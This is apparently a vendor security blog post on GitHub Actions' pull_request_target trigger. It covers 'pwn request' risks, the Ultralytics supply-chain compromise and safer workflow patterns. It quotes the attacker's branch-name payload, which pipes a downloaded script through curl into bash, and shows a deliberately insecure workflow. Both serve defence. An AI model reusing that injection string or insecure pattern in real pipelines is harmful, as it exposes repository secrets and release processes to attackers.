Skip to content
Latchkey LogoLatchkey home

What pull_request_target runs with, and how to use it without a pwn request

pull_request_target runs the workflow from your default branch with your secrets and a read/write GITHUB_TOKEN, even for a pull request from a fork, which is safe only as long as nothing from the pull request is executed. Checking out the pull request head and then building or testing it is the "pwn request": the fork's code runs with your credentials.

You want CI on pull requests from forks, and some of it needs a secret: a private registry, a coverage upload, a comment on the pull request. pull_request withholds secrets from forks, so pull_request_target looks like the fix. It is the trigger the Ultralytics and Nx compromises ran through, and GitHub has spent 2025 and 2026 putting guard rails around it.

In order: what the trigger runs with, how a pwn request works step by step, the Ultralytics incident from the primary write-ups, what GitHub changed and what those changes do not cover, and the two patterns that hold up.

Fork code reaching secrets through pull_request_target and a head checkout, beside the split workflow_run pattern
The top row is the pwn request: each box is a step the workflow author chose. The bottom row keeps fork code and secrets in different workflows.

What each trigger runs, and with what

The difference is where the workflow file comes from and what it is given. pull_request runs the workflow from the pull request's merge commit, which a fork controls, so GitHub gives it a read-only token and no secrets. pull_request_target runs the workflow from the base repository's default branch, which you control, so GitHub gives it everything. GitHub's workflow syntax reference states that its GITHUB_TOKEN "is granted read/write repository permission, even when it is triggered from a public fork."

workflow_run belongs in the same row. It also runs from the default branch, and the events reference says it "is able to access secrets and write tokens, even if the previous workflow was not."

TriggerWorkflow file fromGITHUB_TOKEN for a forkSecrets for a forkCache
pull_requestThe pull request merge commitRead-onlyNoneWrites stay in the pull request's merge ref
pull_request_targetThe default branchRead/writeRepository and organization secretsDefault branch scope, read-only
workflow_runThe default branchRead/writeRepository and organization secretsDefault branch scope, read-only

The pwn request, step by step

GitHub's own example is four lines. The checkout alone runs nothing; the next step does. make test executes the Makefile the fork supplied, in a job holding your token and secrets. Any command that reads the checkout counts: npm install runs lifecycle scripts from the fork's package.json, a test runner loads its config, a linter loads plugins. GitHub's guidance is that the checked-out code must be "only ever inspected as data and never executed".

The same shape appears without actions/checkout: setting repository: to the fork, git fetch or gh pr checkout of the pull request ref, or downloading an artifact a fork's pull_request run uploaded and running what is in it.

.github/workflows/insecure.yml
# INSECURE. GitHub's example, shown so you can recognize it.
on:
  pull_request_target:
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v6
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - name: Test
        run: make test

Ultralytics, December 2024: a branch name as the payload

The ultralytics Python package had a formatting workflow on pull_request_target. It called the project's own composite action, which ran git pull origin ${{ github.head_ref || github.ref }} in a shell step. William Woodruff's analysis traces the injection to that line: pull request #18020 had a branch name that was itself a shell command, built with ${IFS} in place of spaces, and it ran when the action spliced the name into the script, inside the privileged context.

Releases 8.3.41 and 8.3.42 were then published through the project's normal release workflow, and issue #18027 reported that 8.3.41 "will unknowingly execute an xmrig miner." Woodruff concludes the evidence "very strongly suggests that the attacker used a poisoned cache" to reach the release build. PyPI's analysis adds that 8.3.45 and 8.3.46 were uploaded directly with "an unrevoked PyPI API token that was still available to the GitHub Actions workflow".

No head checkout was involved. The pull request supplied a string instead of a Makefile, which is the same mistake: fork-controlled data executed with your credentials. Script injection covers that half.

Quoted from the Ultralytics analysis
# from ultralytics/actions action.yml, as quoted in the analysis
git pull origin ${{ github.head_ref || github.ref }}

# the malicious branch name of #18020, as the analysis prints it (elided)
openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/...${IFS}|${IFS}bash)

What GitHub changed in 2025 and 2026

Four changes now sit between a pwn request and your secrets. None of them replaces reading the workflow, and each has a gap worth knowing.

actions/checkout v7.0.1 error, from src/unsafe-pr-checkout-helper.ts
Refusing to check out fork pull request code from a 'pull_request_target' workflow. This workflow runs with the base repository's GITHUB_TOKEN, secrets, default-branch cache scope, and runner access. Fetching and executing a fork's code in that trusted context commonly leads to "pwn request" vulnerabilities. To opt in, review the risks at https://gh.io/securely-using-pull_request_target and set 'allow-unsafe-pr-checkout: true' on the actions/checkout step.
ChangeSinceWhat it does not cover
Workflow file and default checkout always from the default branch; environment branch rules evaluate against itDecember 8, 2025Anything the workflow on the default branch chooses to fetch
actions/checkout refuses fork pull request code in pull_request_target and workflow_run unless allow-unsafe-pr-checkout: truev7.0.0Workflows pinned to v6 or older; git fetch, gh pr checkout, downloaded artifacts; branches in your own repository
pull_request_target, issue_comment, workflow_run and other untrusted triggers get read-only access to the default-branch cacheJune 26, 2026Jobs that declare a write-capable cache-mode, and anything the job restores
A default Actions policy blocks pull_request_target in public repositoriesEnforced December 2, 2026, after brownouts on November 9 and 16Private and internal repositories, GitHub Enterprise Server, and any repository whose policy allows the event

Safe pattern: split the work with workflow_run

GitHub Security Lab's fix, published in 2021 and updated in 2026, is two workflows. The first runs on pull_request, builds and tests the fork's code with no secrets and a read-only token, and writes its results to an artifact. The second runs on workflow_run with the permissions it needs, downloads the artifact and acts on it as data. Its rule for the second half: "Artifacts resulting from untrusted PR data are themselves untrusted."

So validate every field before you use it. A fork can edit pr-build.yml itself, because pull_request runs the workflow from the merge commit, so the number in the artifact is whatever the fork wants it to be. Below it must be digits, and the report is posted as a comment body, never executed or sourced.

.github/workflows/pr-build.yml and pr-comment.yml
# .github/workflows/pr-build.yml
name: pr-build
on: pull_request
permissions:
  contents: read
jobs:
  test:
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - run: make test > report.txt 2>&1 || true
      - env:
          PR: ${{ github.event.number }}
        run: echo "$PR" > pr-number.txt
      - uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
        with:
          name: pr-result
          path: |
            report.txt
            pr-number.txt

# .github/workflows/pr-comment.yml
on:
  workflow_run:
    workflows: [pr-build]
    types: [completed]
permissions:
  actions: read
  pull-requests: write
jobs:
  comment:
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2
        with:
          name: pr-result
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ github.token }}
      - env:
          GH_TOKEN: ${{ github.token }}
          GH_REPO: ${{ github.repository }}
        run: |
          pr=$(cat pr-number.txt)
          [[ "$pr" =~ ^[0-9]+$ ]] || { echo "bad PR number"; exit 1; }
          gh pr comment "$pr" --body-file report.txt

When you must run fork code with secrets: a maintainer label

Some jobs genuinely need fork code and a secret together, such as an integration test against a private service. GitHub Security Lab's fallback is to run only when a maintainer applies a label such as safe to test, and it names the weakness itself: the check "is still prone to a race condition" because the author can push after the label is applied. Treat it as temporary.

Three things narrow that race. Trigger on the labeled event only. Check out github.event.pull_request.head.sha, the commit in that event's payload, rather than the branch, so a later push does not change what runs. And put the secret in an environment with required reviewers, so a person approves the specific run. On checkout v7 this also needs allow-unsafe-pr-checkout: true, which is the line a reviewer should look for, and from December 2, 2026 a public repository also needs an Actions policy that allows the trigger.

.github/workflows/fork-integration.yml
on:
  pull_request_target:
    types: [labeled]
permissions:
  contents: read
jobs:
  integration:
    if: github.event.label.name == 'safe to test'
    runs-on: ubuntu-24.04
    environment: fork-integration   # required reviewers, holds the secret
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          ref: ${{ github.event.pull_request.head.sha }}
          allow-unsafe-pr-checkout: true
          persist-credentials: false
      - run: make integration-test
        env:
          SERVICE_TOKEN: ${{ secrets.SERVICE_TOKEN }}

Key takeaways

  • pull_request_target gives fork pull requests your secrets and a read/write token; it is safe only while nothing from the pull request executes.
  • The pwn request is checkout plus any command that reads the checkout: make, npm install, a test runner, a linter.
  • checkout v7 refuses fork pull request code in privileged triggers, but not git fetch, gh pr checkout, artifacts or older pins.
  • Public repositories have pull_request_target blocked by default from December 2, 2026 unless a policy allows it.
  • Split builds and privileged actions with workflow_run, and treat the artifact as untrusted data.

Frequently asked questions

Why can't my GitHub Action comment on a pull request from a fork?
Because a pull_request run from a fork gets a read-only token whatever its permissions block asks for, so the comment call is refused. Do not switch to pull_request_target with a checkout to get the write back: use the workflow_run split above, where the build writes its report to an artifact and a second workflow posts it. The side-by-side of the two triggers is in GitHub Actions security, and the 403 itself on GITHUB_TOKEN read-only on fork pull requests.
Why are secrets not available in my workflow on a pull request from a fork?
Because GitHub withholds them on purpose: with the exception of GITHUB_TOKEN, secrets are not passed to workflows triggered from forks. Switching to pull_request_target to get them is how most pwn requests start. Use the workflow_run split instead; the details are on secrets empty in fork pull requests.
Will GitHub block pull_request_target workflows?
In public repositories, yes, by default from December 2, 2026, after brownouts on November 9 and 16. A repository or organization can keep using the trigger by creating an Actions event policy that explicitly allows it. Private and internal repositories are not affected.
Is it safe to use pull_request_target if I do not check out the pull request?
Mostly, provided nothing else brings pull request content into a shell. A title, branch name or body interpolated into run: is still code the author wrote, which is exactly how the Ultralytics compromise worked. Keep the token permissions minimal and pass every pull request field through an environment variable.

References

Fork code that ran once should not run again. Latchkey deletes each runner after its job. Start free → 30-day trial · No credit card